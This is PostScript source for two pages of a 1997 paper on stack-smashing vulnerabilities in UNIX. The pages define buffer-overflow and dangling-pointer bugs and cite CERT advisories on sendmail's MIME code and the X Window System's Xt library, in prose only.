0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (bb)S 0.200 0 (li)A (n)S 18.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 17.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 17.000 0 32 (k )W 0.200 0 (i)A 16.900 0 32 0.100 0 (s s)D -0.400 0 (a)A 0.200 0 (i)A 17.000 0 32 (d )W 0.200 0 (t)A 17.000 0 32 (o h)W -0.400 0 (a)A (pp)S -0.400 0 (e)A 17.000 0 32 (n )W -0.200 0 (w)A (h)S -0.400 0 (e)A 17.000 0 32 (n )W 17.400 0 32 -0.400 0 (a )D 16.700 0 32 0.300 0 (C )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 17.000 0 32 (on o)W -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1595 M -0.300 0 (r)A (ou)S 0.200 0 (ti)A (n)S 12.400 0 32 -0.400 0 (e )D 0.200 0 (j)A (u)S 0.200 0 (m)A (p)S 11.900 0 32 0.100 0 (s )D 0.200 0 (t)A 13.000 0 32 (o )W 13.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (a)A (ndo)S 12.800 0 32 0.200 0 (m )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 13.000 0 32 (, )W -0.400 0 (a)A 13.000 0 32 (nd ov)W -0.400 0 (e)A -0.300 0 (rr)A (un)S 12.900 0 32 0.100 0 (s )D 13.400 0 32 -0.400 0 (a )D -0.300 0 (f)A 0.200 0 (i)A 1.000 0 (x)A -0.400 0 (e)A (d)S -0.300 0 (-)A 0.100 0 (s)A 0.200 0 (i)A 0.600 0 (z)A 13.400 0 32 -0.400 0 (e )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D -0.200 0 (w)A 0.200 0 (it)A 13.000 0 32 (h )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ce)A 0.100 0 (ss)A 0.200 0 (i)A (v)S -0.400 0 (e)A 0.200 0 (l)A 16.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1772 M -0.047 0 (input data. This often results in data-dependent bugs that are difficult to spot or isolate.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 1950 M 0.254 0 (2.4 Aliasing/Stale/Dangling Pointer Bug)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2155 M -0.100 0 (T)A (h)S 0.200 0 (i)A -0.100 0 32 0.100 0 (s )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.200 0 32 0.200 0 (m )D (h)S -0.400 0 (a)A -0.100 0 32 0.100 0 (s )D (b)S -0.400 0 (ee)A (n )S 0.200 0 (i)A 1.000 0 32 (n u)W 0.100 0 (s)A 1.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (i)A (n)S 1.400 0 32 -0.400 0 (ce )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D (1960)S 0.900 0 32 0.100 0 (s )D 0.200 0 (i)A 1.000 0 32 (n )W 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D -0.200 0 (A)A -2.100 0 (L)A -0.200 0 (GO)A 3.100 0 32 -2.100 0 (L )D -0.400 0 (a)A 1.000 0 32 (nd )W -0.600 0 (F)A -0.200 0 (O)A 0.300 0 (R)A -0.100 0 (T)A 0.300 0 (R)A 1.200 0 32 -0.200 0 (AN )D -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (iti)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2332 M -0.400 0 (a)A 6.000 0 32 (nd )W 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A (v)S -0.400 0 (e)A 6.000 0 32 (d )W -0.300 0 (f)A (o)S 6.300 0 32 -0.300 0 (r )D 6.400 0 32 -0.400 0 (a )D -1.000 0 (g)A -0.300 0 (r)A 6.000 0 32 (oup o)W 6.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 7.000 0 32 -1.000 0 (g )D -0.400 0 (e)A -0.300 0 (rr)A (o)S -0.300 0 (r)A 6.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 6.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 0.100 0 (s)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 7.000 0 32 (n )W -0.400 0 (c)A (od)S 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 6.800 0 32 0.200 0 (t )D (u)S 0.100 0 (s)A -0.400 0 (e)A 6.900 0 32 0.100 0 (s )D 0.200 0 (m)A (o)S -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 7.000 0 32 (n on)W -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2509 M -0.400 0 (a)A 0.200 0 (li)A -0.400 0 (a)A 2.900 0 32 0.100 0 (s )D (o)S 3.300 0 32 -0.300 0 (r )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 3.000 0 32 (o po)W 0.200 0 (i)A (n)S 2.800 0 32 0.200 0 (t t)D 3.000 0 32 (o )W 3.400 0 32 -0.400 0 (a )D -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 3.000 0 32 (n )W -0.400 0 (c)A 3.000 0 32 (hunk o)W 3.300 0 32 -0.300 0 (f )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (ca)A 0.200 0 (ll)A 6.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 3.000 0 32 (d )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 3.000 0 32 (. )W -2.300 0 (I)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e e)D (v)S -0.400 0 (e)A (n)S 3.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2686 M 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 9.400 0 32 -0.400 0 (c )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 12.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 9.000 0 32 (d u)W 0.100 0 (s)A 0.200 0 (i)A (n)S 10.000 0 32 -1.000 0 (g )D (on)S 9.400 0 32 -0.400 0 (e a)D 0.200 0 (li)A -0.400 0 (a)A 0.100 0 (s)A 9.000 0 32 (, )W -0.400 0 (a)A 9.000 0 32 (nd )W 0.200 0 (t)A (h)S -0.400 0 (e)A 9.000 0 32 (n )W 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 10.300 0 32 -0.300 0 (r r)D -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (ce)A 10.000 0 32 (d )W 0.200 0 (t)A (h)S -0.300 0 (r)A (ou)S -1.000 0 (g)A 10.000 0 32 (h )W -0.400 0 (a)A (no)S 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2863 M -0.089 0 (subtle and violent errors can occur.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 3042 M 0.013 0 (3. Stack Smashing publicity)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 3277 M 0.040 0 (3.1 Security professionals and the academic community)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3482 M 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A -0.100 0 (T)A 1.000 0 32 (, )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.300 0 (C)A (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D -0.100 0 (E)A 0.200 0 (m)A -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (c)A 5.000 0 32 -3.000 0 (y )D 0.300 0 (R)A -0.400 0 (e)A 0.100 0 (s)A (pon)S 0.100 0 (s)A 2.400 0 32 -0.400 0 (e )D -0.100 0 (T)A -0.400 0 (ea)A 1.800 0 32 0.200 0 (m )D 0.300 0 (C)A (oo)S -0.300 0 (r)A (d)S 0.200 0 (i)A (n)S -0.400 0 (a)A 0.200 0 (ti)A 2.000 0 32 (on )W 0.300 0 (C)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 1.800 0 32 0.200 0 (t t)D (h)S 2.400 0 32 -0.400 0 (e )D 0.400 0 (S)A (o)S -0.300 0 (f)A 0.200 0 (t)A -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3659 M -0.100 0 (E)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S -0.400 0 (ee)A -0.300 0 (r)A 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D -2.300 0 (I)A (n)S 0.100 0 (s)A 0.200 0 (tit)A (u)S 0.200 0 (t)A 2.400 0 32 -0.400 0 (e )D (o)S 2.300 0 32 -0.300 0 (f )D 0.300 0 (C)A -0.400 0 (a)A -0.300 0 (r)A (n)S -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (e )D 0.100 0 (M)A -0.400 0 (e)A 0.200 0 (ll)A 2.000 0 32 (on )W -0.200 0 (U)A (n)S 0.200 0 (i)A (v)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (it)A -3.000 0 (y)A 2.000 0 32 (, h)W -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 2.000 0 32 (d )W -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (t)A -0.300 0 (-)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (c c)D (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3836 M 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 19.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 15.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 15.900 0 32 0.100 0 (s s)D 0.200 0 (i)A (n)S 16.400 0 32 -0.400 0 (ce )D 16.000 0 32 (1988. )W -2.300 0 (I)A 16.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (mi)A (n)S 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D -0.300 0 (r)A -0.400 0 (ece)A (n)S 16.800 0 32 0.200 0 (t )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 20.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 16.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 17.000 0 32 (, )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4013 M 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (e)A 7.000 0 32 (nd )W -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 8.400 0 32 -0.400 0 (e )D (o)S 8.300 0 32 -0.300 0 (f )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (e)A (d)S 7.800 0 32 0.200 0 (; )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2795 4013 M -0.100 0 (B)A (u)S 0.200 0 (ff)A -0.400 0 (e)A 7.900 0 32 0.100 0 (r )D (o)S -0.400 0 (ve)A 0.100 0 (r)A 0.200 0 (fl)A (o)S 0.300 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3428 4013 M 8.000 0 32 ( )W 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D 8.400 0 32 -0.400 0 (a c)D (o)S 0.200 0 (mm)A 8.000 0 32 (on ph)W -0.300 0 (r)A -0.400 0 (a)A 0.100 0 (s)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4190 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (po)S -0.300 0 (r)A 0.200 0 (t)A 0.100 0 (s)A 14.000 0 32 (. )W -0.200 0 (O)A 14.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e a)D (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 14.400 0 32 -0.400 0 (e )D 14.000 0 32 (on )W 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A -0.100 0 (T)A -1.000 0 (')A 13.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A 14.400 0 32 -0.400 0 (c a)D -0.300 0 (r)A -0.400 0 (c)A (h)S 0.200 0 (i)A (v)S -0.400 0 (e)A 0.100 0 (s)A 14.000 0 32 (, )W 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D -0.300 0 (r)A -0.400 0 (ece)A (n)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4367 M -0.039 0 (examples illustrate the proliferation of stack smashing buffer overflows[1]:)A ; LH savelevel1 restore pagesave restore (%%[ Page: 4 ]%%) = %%PageTrailer %%Page: 5 5 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (5)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2153 1323 M 0.100 0 (CERT example 3.1.a)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 1519 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 18.400 0 32 -0.400 0 (e )D (3.1.)S 18.400 0 32 -0.400 0 (a )D (d)S -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 17.900 0 32 0.100 0 (s )D 18.400 0 32 -0.400 0 (a )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 18.000 0 32 (n )W -0.100 0 (E)A -0.300 0 (r)A 0.200 0 (i)A 18.400 0 32 -0.400 0 (c )D -0.200 0 (A)A 0.200 0 (llm)A -0.400 0 (a)A (n)S -0.300 0 (\222)A 17.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 3235 1519 M 0.100 0 (s)A -0.400 0 (e)A (nd)S -0.200 0 (m)A (a)S 0.200 0 (il)A ; : 3518 1503 1365 76 rc 0 0 0 sco (F5_67) cvn F5 67 xF F5_67 Ji 3596 1503 M 0.500 0 (3)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3630 1519 M 19.000 0 32 (, )W 19.400 0 32 -0.400 0 (a )D (popu)S 0.200 0 (l)A -0.400 0 (a)A 19.300 0 32 -0.300 0 (r )D 0.100 0 (M)A -0.100 0 (T)A -0.200 0 (A)A ; : 4285 1503 598 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 4358 1503 M 0.500 0 (4)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1696 M (u)S 0.100 0 (s)A -0.400 0 (e)A 6.000 0 32 (d )W -0.300 0 (f)A (o)S 6.300 0 32 -0.300 0 (r )D -0.400 0 (e)A -0.300 0 (-)A 0.200 0 (m)A -0.400 0 (a)A 5.800 0 32 0.200 0 (il )D (d)S -0.400 0 (e)A 0.200 0 (li)A (v)S -0.400 0 (e)A -0.300 0 (r)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 6.000 0 32 (nd d)W 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 6.000 0 32 (on. )W -2.300 0 (I)A 6.000 0 32 (n )W -0.300 0 (r)A -0.400 0 (ece)A (n)S 5.800 0 32 0.200 0 (t )D -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (i)A (on)S 5.900 0 32 0.100 0 (s )D (o)S 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 6.900 0 32 0.100 0 (s )D (u)S 0.200 0 (tilit)A -3.000 0 (y)A 7.000 0 32 (, )W 7.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1873 M -0.116 0 (vulnerability exists in the code that performs MIME)A ; : 2619 1857 2264 76 rc 0 0 0 sco F2_67 Ji 2692 1857 M 0.500 0 (5)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2726 1873 M -0.091 0 ( conversions on e-mail messages.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2150 3104 M 0.119 0 (CERT example 3.1.b)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3300 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 10.400 0 32 -0.400 0 (e )D 10.000 0 32 (3.1.b d)W -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 9.900 0 32 0.100 0 (s )D 11.400 0 32 -0.400 0 (a )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 14.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 11.000 0 32 (n )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (O)A (p)S -0.400 0 (e)A 11.000 0 32 (n )W -0.200 0 (G)A -0.300 0 (r)A (oup)S -0.300 0 (\222)A 0.100 0 (s)A ; : 3236 3284 1647 76 rc 0 0 0 sco F2_67 Ji 3309 3284 M 0.500 0 (6)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3343 3300 M 11.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 3379 3300 M -0.100 0 (X)A 10.800 0 32 0.200 0 (t )D 0.400 0 (L)A 0.200 0 (i)A (b)S 0.100 0 (r)A (a)S 0.100 0 (r)A -0.400 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3810 3300 M 11.000 0 32 ( o)W 11.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (i)A (d)S -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3477 M (u)S 0.100 0 (s)A -0.400 0 (e)A 20.000 0 32 (d )W 20.200 0 32 -0.200 0 (X )D 0.600 0 (W)A 0.200 0 (i)A (ndo)S -0.200 0 (w)A 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 0.400 0 (S)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 20.000 0 32 (, )W 21.400 0 32 -0.400 0 (a )D -0.200 0 (GU)A 23.300 0 32 -2.300 0 (I )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (rf)A 21.400 0 32 -0.400 0 (ace )D (u)S 0.100 0 (s)A -0.400 0 (e)A 21.000 0 32 (d on )W 0.200 0 (m)A -0.400 0 (a)A (n)S 24.000 0 32 -3.000 0 (y )D -0.200 0 (UN)A -2.300 0 (I)A 21.200 0 32 -0.200 0 (X w)D (o)S -0.300 0 (r)A (k)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 0.100 0 (s)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4010 3477 M 21.000 0 32 ( )W -0.100 0 (T)A (h)S 21.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 4303 3477 M -0.100 0 (X)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 612 3654 M 0.400 0 (L)A 0.200 0 (i)A (b)S 0.100 0 (r)A (a)S 0.100 0 (r)A 12.400 0 32 -0.400 0 (y )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 955 3654 M 0.200 0 (i)A 11.900 0 32 0.100 0 (s )D 0.200 0 (li)A (nk)S -0.400 0 (e)A 13.000 0 32 (d )W 0.200 0 (i)A 13.000 0 32 (n )W -0.200 0 (w)A 0.200 0 (it)A 13.000 0 32 (h )W 0.200 0 (m)A -0.400 0 (a)A (n)S 16.000 0 32 -3.000 0 (y )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 12.900 0 32 0.100 0 (s )D 0.200 0 (i)A 13.000 0 32 (n )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 13.200 0 32 -0.200 0 (X )D 0.600 0 (W)A 0.200 0 (i)A (ndo)S -0.200 0 (w)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.400 0 (S)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 12.800 0 32 0.200 0 (m; )D -0.400 0 (a)A (n)S 16.000 0 32 -3.000 0 (y )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3831 M -0.142 0 (these programs may be vulnerable to stack smashing holes.)A ; : 522 5365 2880 94 rc 0 0 0 sco F2_83 Ji 612 5365 M 0.250 0 ( )A ; : 1152 5365 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5365 M 0.250 0 ( )A ; 612 5418 N M 1200 4 rr : 0 0 0 sco O ; : 562 5451 4321 53 rc 0 0 0 sco (F2_46) cvn F2 46 xF F2_46 Ji 612 5451 M (3)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 635 5462 M -0.151 0 ( Http://www.sendmail.org)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_33) cvn F2 33 xF F2_33 Ji 612 5544 M 0.500 0 (4)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 629 5547 M 0.176 0 ( Mail Transfer Agent)A ; : 562 5614 4321 53 rc 0 0 0 sco F2_46 Ji 612 5614 M (5)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 635 5625 M -0.018 0 ( Multipurpose Internet Mail Extensions, for more details see RFC 1341)A ; : 562 5693 4321 53 rc 0 0 0 sco F2_46 Ji 612 5693 M (6)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 635 5704 M -0.115 0 ( http://www.opengroup.org/)A ; : 511 647 3982 672 rc 0 0 0 sco %%IncludeFont: Courier-Bold (F11) cvn 0.836 (Courier-Bold) cvn /Type1 T (Courier-Bold) cvn mF (F11_67) cvn F11 67 xF F11_67 Ji 612 661 M -0.200 0 (ftp://info.cert.org/pub/cert_advisories/CA-97.05.sendmail)A ; 586 647 N M 6 6 rr : 0 0 0 sco O ; 586 647 N M 6 6 rr : 0 0 0 sco O ; 592 647 N M 3820 6 rr : 0 0 0 sco O ; 4412 647 N M 6 6 rr : 0 0 0 sco O ; 4412 647 N M 6 6 rr : 0 0 0 sco O ; 586 653 N M 6 84 rr : 0 0 0 sco O ; 4412 653 N M 6 84 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco %%IncludeFont: Courier (F13) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F13_67) cvn F13 67 xF F13_67 Ji 612 737 M -0.200 0 (======================================================================)A ; 586 737 N M 6 71 rr : 0 0 0 sco O ; 4412 737 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 808 M -0.200 0 (CERT\(sm\) Advisory CA-97.05)A ; 586 808 N M 6 71 rr : 0 0 0 sco O ; 4412 808 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 879 M -0.200 0 (Original issue date: January 28, 1997)A ; 586 879 N M 6 71 rr : 0 0 0 sco O ; 4412 879 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 950 M -0.200 0 (Last revised: March 5, 1997)A ; 586 950 N M 6 71 rr : 0 0 0 sco O ; 4412 950 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 1021 M -0.200 0 ( Appendix A, updated NEC entry.)A ; 586 1021 N M 6 71 rr : 0 0 0 sco O ; 4412 1021 N M 6 71 rr : 0 0 0 sco O ; 586 1092 N M 6 71 rr : 0 0 0 sco O ; 4412 1092 N M 6 71 rr : 